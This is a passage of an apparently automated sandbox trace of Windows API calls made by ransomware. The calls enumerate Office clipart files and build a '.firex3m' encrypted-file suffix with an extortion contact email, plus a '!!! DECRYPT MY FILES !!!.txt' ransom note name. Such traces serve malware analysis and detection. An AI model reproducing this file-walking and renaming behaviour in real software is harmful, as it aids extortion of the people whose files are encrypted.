ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0137.802] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 1 [0137.802] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid") returned 0x44 [0137.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.802] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.802] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.802] GetProcessHeap () returned 0x630000 [0137.802] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5930, Size=0x3f4) returned 0x6ed5930 [0137.802] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0137.802] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF", len=0x40 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 1 [0137.802] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF", cchLength=0x40 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf") returned 0x40 [0137.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.802] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.802] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.802] GetProcessHeap () returned 0x630000 [0137.802] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5930, Size=0x3f8) returned 0x6ed5930 [0137.802] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0137.802] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 1 [0137.802] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid") returned 0x44 [0137.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.803] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.803] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.803] GetProcessHeap () returned 0x630000 [0137.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5930, Size=0x3fc) returned 0x6672f8 [0137.803] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0137.803] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID", len=0x43 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 1 [0137.803] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid") returned 0x43 [0137.803] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.803] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.803] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.803] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.803] GetProcessHeap () returned 0x630000 [0137.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x400) returned 0x6672f8 [0137.803] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0137.803] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 1 [0137.803] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf") returned 0x44 [0137.803] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.803] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.803] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.803] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.803] GetProcessHeap () returned 0x630000 [0137.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x404) returned 0x6672f8 [0137.803] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0137.804] GetProcessHeap () returned 0x630000 [0137.804] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x408) returned 0x6672f8 [0137.804] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0137.804] GetProcessHeap () returned 0x630000 [0137.804] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x40c) returned 0x6672f8 [0137.804] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0137.804] GetProcessHeap () returned 0x630000 [0137.804] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x410) returned 0x6672f8 [0137.804] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0137.804] GetProcessHeap () returned 0x630000 [0137.804] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x414) returned 0x6672f8 [0137.804] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0137.804] GetProcessHeap () returned 0x630000 [0137.804] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x418) returned 0x6672f8 [0137.804] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0137.805] GetProcessHeap () returned 0x630000 [0137.805] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x41c) returned 0x6672f8 [0137.805] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0137.805] GetProcessHeap () returned 0x630000 [0137.805] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x420) returned 0x6672f8 [0137.805] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0137.805] GetProcessHeap () returned 0x630000 [0137.805] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x424) returned 0x6672f8 [0137.805] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0137.805] GetProcessHeap () returned 0x630000 [0137.805] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x428) returned 0x6672f8 [0137.805] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0137.805] GetProcessHeap () returned 0x630000 [0137.805] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x42c) returned 0x6672f8 [0137.805] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0137.805] GetProcessHeap () returned 0x630000 [0137.805] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x430) returned 0x6672f8 [0137.805] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0137.805] GetProcessHeap () returned 0x630000 [0137.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x434) returned 0x6672f8 [0137.806] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0137.806] GetProcessHeap () returned 0x630000 [0137.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x438) returned 0x6672f8 [0137.806] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0137.806] GetProcessHeap () returned 0x630000 [0137.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x43c) returned 0x6672f8 [0137.806] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0137.806] GetProcessHeap () returned 0x630000 [0137.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x440) returned 0x6672f8 [0137.806] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0137.806] GetProcessHeap () returned 0x630000 [0137.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x444) returned 0x6672f8 [0137.806] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0137.806] GetProcessHeap () returned 0x630000 [0137.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x448) returned 0x6672f8 [0137.806] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0137.806] GetProcessHeap () returned 0x630000 [0137.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6672f8, Size=0x44c) returned 0x6672f8 [0137.807] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0137.807] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0137.807] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0137.807] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0137.807] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0137.807] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, 